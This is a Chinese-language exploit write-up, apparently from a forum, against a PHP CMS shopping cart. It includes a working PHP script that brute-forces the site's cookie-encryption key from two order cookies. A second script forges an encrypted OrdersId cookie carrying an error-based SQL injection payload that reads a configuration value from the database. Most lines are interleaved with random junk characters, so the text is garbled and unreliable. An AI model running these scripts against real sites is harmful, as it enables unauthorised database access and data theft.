www.xxx.com/plus/search.php?keyword=; X- f% z# l7 H9 e8 o/ N6 e# u1 C
在 include/shopcar.class.php中
3 K7 Y B4 b) A& w5 N: s先看一下这个shopcar类是如何生成cookie的
* G9 ^+ f: c2 q9 \# q6 y239 function saveCookie($key,$value)
5 t# |# ]" U7 E; I240 {. v& ?% Y. E0 d5 u! M
241 if(is_array($value))
8 K0 j8 N5 p+ P) k; L& S242 {' p8 W5 n$ ~) I' V- _" O8 f
243 $value = $this->enCrypt($this->enCode($value));
9 ~5 e) z( x u; j0 w244 }/ B! P( t8 p7 {- D" r3 G
245 else
. B' l' b6 [( A \. F% S246 {5 G! K( f+ l' \ J0 C+ b
247 $value = $this->enCrypt($value);6 c! L* z6 w, h) _" s: j
248 }
! f$ F2 w& Z9 F/ _6 X7 Y249 setcookie($key,$value,time()+36000,’/'); y) k. W/ x' u. @5 [, U
250 }( a0 T) d" [7 t
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数+ ~3 ~. t6 V6 W# C/ z
186 function enCrypt($txt)
$ I8 x* r$ M# Z: g187 {
! v5 Y" b$ X. v& c5 k5 Z4 a188 srand((double)microtime() * 1000000);
, c0 i$ j! l2 h. ]. Y6 l189 $encrypt_key = md5(rand(0, 32000));% h% S+ d6 H# s3 K
190 $ctr = 0;; ^6 c) z8 G2 j0 D9 H/ M
191 $tmp = ”;
! ^4 i r4 f. U. ~4 C g3 ]192 for($i = 0; $i < strlen($txt); $i++)
5 q. m/ L- x1 u6 [+ o% b193 {4 K J/ l- N$ s$ i
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ }( e+ I5 \2 b+ s
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- I7 U; f3 q, L' r t196 }
2 d7 k9 b% S1 Q4 e3 [197 return base64_encode($this->setKey($tmp));
+ `6 A7 w% `6 h7 h) Z) ~7 Q, l0 R198 }
! K+ i; q) Z& I% K) I W% V+ A3 _213 function setKey($txt)7 y; K' p" e. G+ D% l4 m! E
214 {) ~) C1 W: t! p# W8 ?2 g8 `! ~+ y
215 global $cfg_cookie_encode;0 n# v* x: }: Z4 W3 d3 y/ O, M, ]
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));0 ]! c. m4 \( V. p" r1 N
217 $ctr = 0;0 ?0 z# _+ O5 ]- z
218 $tmp = ”;) w& f1 G0 D: j8 G# r
219 for($i = 0; $i < strlen($txt); $i++)
4 q5 J2 w7 C9 l7 s1 Z* B( r220 {
4 \& M: f$ ]$ R0 e0 v7 {; J221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: C9 L) k6 }1 T6 P! i. U9 j
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];7 S5 R1 n/ s+ P6 g1 R
223 }8 W3 }! q7 l1 J4 i. m/ a
224 return $tmp;
/ F: p( s( M1 q1 o2 g! n G225 }
) k1 M3 Z1 D4 i3 Q' Q denCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
( c2 T q6 } ?* |. j* Y然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。* F" V0 n, O, f
具体代码如下:4 h7 ]9 }% |% I' E- i
<?php
8 b& b. a# H4 @ ^* ]; b$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
: d5 W* A4 A6 M$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
. S' o8 }3 z& e- r7 Y$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
" w' z& Y0 m! D: R- m5 Xfunction reStrCode($code,$string)' v/ E! i: h5 r" o9 s# p& e6 F+ x- _
{# c0 `8 f( i" _0 h% _) `* J" F$ v
$code = base64_decode($code);
& U9 I- e H4 ?! X2 y$key = “”;
& g! ]6 O" T" p5 ?( O+ sfor($i=0 ; $i<32 ; $i++)
! Z& ~/ Y5 N5 B! R{% ^+ i3 A, M" s/ j3 v b
$key .= $string[$i] ^ $code[$i];
, W. d8 v, k j5 d}) A/ Z! V0 n8 t8 w! P7 n
return $key;
9 a1 u9 f4 Z$ O, w5 `}
t' v6 \: ^6 V6 b, w# mfunction getKeys($cookie,$plantxt)! L& w* o. T; M' D' k2 L3 Y
{, O: m3 U, @! R+ g, @4 n* c
$tmp = $cookie;
2 q8 {& t h2 I- H% W0 ]8 Z n$results = array();
; s' ~- d! D" O" N& Tfor($j=0 ; $j < 32000; $j++)3 l/ T. x3 s6 J" U
{2 L4 k: k4 o4 S' M
2 _+ ]# y: R" S$txt = $plantxt;- ~; C, q8 C2 N. l& U7 a4 ]5 \
$ctr = 0;4 T! i6 a' m! ~! o8 E z
$tmp = ”;7 J, ~ _0 m! U: M, `0 r) b
$encrypt_key = md5($j);9 j3 ?, H* m/ b- d1 f
for($i =0; $i < strlen($txt); $i ++)
& s$ D- U% o# S! Z{
! _8 z1 r1 i" X0 w4 o$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" @( L5 h; a! L) \& \7 P
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
$ Y& c5 f- [4 `1 h L" P}- b c1 V8 Z3 h. ~2 Z8 Y" A4 E z$ t) N
$string = $tmp;
- l* @6 c( n- {( C$code = $cookie;
) H$ {5 Q, x; s% Q, h0 v4 w3 H9 n$result = reStrCode($code,$string);8 R( K0 `0 T4 r6 g
if(eregi(‘^[a-z0-9]+$’,$result))
' I- Q$ q, F' T7 |$ _{4 L7 L# v+ C4 f3 N8 D
echo $result.”\n”;8 r8 `: K$ H9 t Q3 d5 J/ P
$results[] = $result;+ s. K1 d7 B- {: [# p( c) o3 O/ _3 ?
}8 o# c9 O2 H B% ^* m
}/ o* R. I8 Q5 k& Z
return $results;
( j8 P' z2 U1 S3 }: u}, s( {" E2 y, ?0 e- m
$results1 = getKeys($cookie1,$plantxt);
- c0 U/ X, R0 \, j4 V3 h* Q$ ~$results2 = getKeys($cookie2,$plantxt);
1 {' m: @) g; s6 y8 [" Zprint “\n——————–real key————————–\n”;7 p% n: j5 i, t2 t7 j
foreach($results1 as $test1)
1 ]7 y9 D; S% a6 j b{$ j% `# R9 q6 `# P! {
foreach($results2 as $test2)
1 K4 P7 k; {" N{; v+ U3 \0 O/ M7 E3 Y$ L) D# \
if($test1 == $test2)+ M& |/ g5 t" o4 F4 w8 c9 o1 ]
{
1 U5 J! q) }' }echo $test1.”\n”;7 }$ t; }) J0 a" A& K4 A* X
}
+ L$ f7 ^6 q# ]# s1 U* {+ I}4 B2 z3 x- {, t( I
}) A J: P6 T. ]! C0 J' s
?>4 ?9 L+ Y. Z/ d7 L7 b
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
% }3 y. N8 H! V! C, {2 _1 Rplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1. i4 q' O- ~8 w
然后推算出md5(strtolower($cfg_cookie_encode))
8 u+ I* E" q4 W4 p7 b6 u得到这个key之后,我们就可以构造任意购物车的cookie
( R7 a. T% Q0 U8 H3 K# b# M接着看" ~) \: G T0 n! N
20 class MemberShops
9 N! k0 z) L- b" ?- c# R: s21 {8 C7 H% a2 O5 S% v+ G
22 var $OrdersId; V! F1 n) A8 b6 n
23 var $productsId;. d# g; c7 q, |2 b1 Q1 K8 F; C
249 Y/ o" V! l' H7 X t' o9 V
25 function __construct()* K/ ~$ r9 q2 j
26 {8 D/ A& s, h5 Y
27 $this->OrdersId = $this->getCookie(“OrdersId”);
3 U% _2 a$ G. i% b3 S; y* g28 if(empty($this->OrdersId))- e* f2 A9 p2 z7 N: N
29 {9 Q- y: u( H9 C; F$ C5 c
30 $this->OrdersId = $this->MakeOrders();
) h, g2 j$ \9 f7 \9 [, x* k31 }
3 M2 {" d) K. Y* {32 }; R+ R$ d* ?, s a5 L
发现OrderId是从cookie里面获取的
5 M" q; w/ d( W" Q3 {% I8 g+ o然后
* a0 ~" p+ ~1 c/plus/carbuyaction.php中的
- F' v/ t9 A7 g8 _, P; E; {) G29 $cart = new MemberShops();
, s$ I5 m3 `5 U' z39 $OrdersId = $cart->OrdersId; //本次记录的订单号
3 O# p! P) p: _2 P) g* r……
7 d, A0 |$ k! p1 F& w173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
. i# l" Z- v+ v8 j接着我们就可以注入了7 C5 l( b- ~0 H7 O
通过利用下面代码生成cookie:* o+ P8 j/ b) D9 p
<?php
1 Q- w+ f6 c. H) A ]$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;4 _7 { [2 i A
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
! s8 L2 B! U, R8 B7 N- _, Hfunction setKey($txt)
3 f, W3 S: P$ Y k& @* [{3 I1 {7 J( H. D$ `! A2 s
global $encrypt_key;8 y& D/ ?+ a; u
$ctr = 0;
7 P+ D' N0 M% |# U. b" `$tmp = ”;/ x3 t3 l5 t3 d! r; V
for($i = 0; $i < strlen($txt); $i++), ]7 b. z6 i* f. w* {4 A* g! B
{/ O" L1 ]/ J8 U- x, `# L; T/ G
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) @9 B! X7 R$ I3 b d5 k
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];: C3 o+ L/ T% l3 i3 ]
}
3 H2 W: B' [; l K' {return $tmp;0 H) X* b: Q; v* k& g
}, q% R/ ^! ^1 s, x2 h
function enCrypt($txt)! |' \4 }% B; F6 I6 U8 }; l/ H$ h
{
! Q: H- A3 ?8 I; N5 lsrand((double)microtime() * 1000000);
# B- l# @) V9 {& Z; u' p& s9 M4 |, J$encrypt_key = md5(rand(0, 32000));
( N+ w' x/ A# f4 A$ctr = 0;
) w. a' ?( o8 n6 k' A9 ~$tmp = ”;
0 q( ` i, w* R2 e0 [! bfor($i = 0; $i < strlen($txt); $i++); ?! E# s3 L. h* G. p4 ^
{9 A1 j, v" Q! b: _* l5 T( W
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
z# l4 c2 L4 b: ?" b6 D* N$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 D6 Y! ]% C4 b
}
& v( R, i( @! W+ ureturn base64_encode(setKey($tmp));2 c' |( K* h% S
}
/ M& g7 L8 j# V, f/ C' T) tfor($dest =0;$dest = enCrypt($txt);) U5 w( I$ Q$ ^9 p6 n- w, L
{: o4 q u, p# g: Z; ]& B: c
if(!strpos($dest,’+'))
, T8 _. ^& u' _/ H. S/ ?{: P4 X" Q1 T, C- d/ V. ^
break;7 W/ Z0 s, r! O1 l" I
}
) D3 p/ ^; t- Z( @}0 E5 b1 x& C2 }$ }: T
echo $dest.”\n”;0 x. r+ T; o, E d* g
?>4 D% L: A$ l; b. y0 a( T& v8 W
$ R5 O0 o5 z: }8 h
|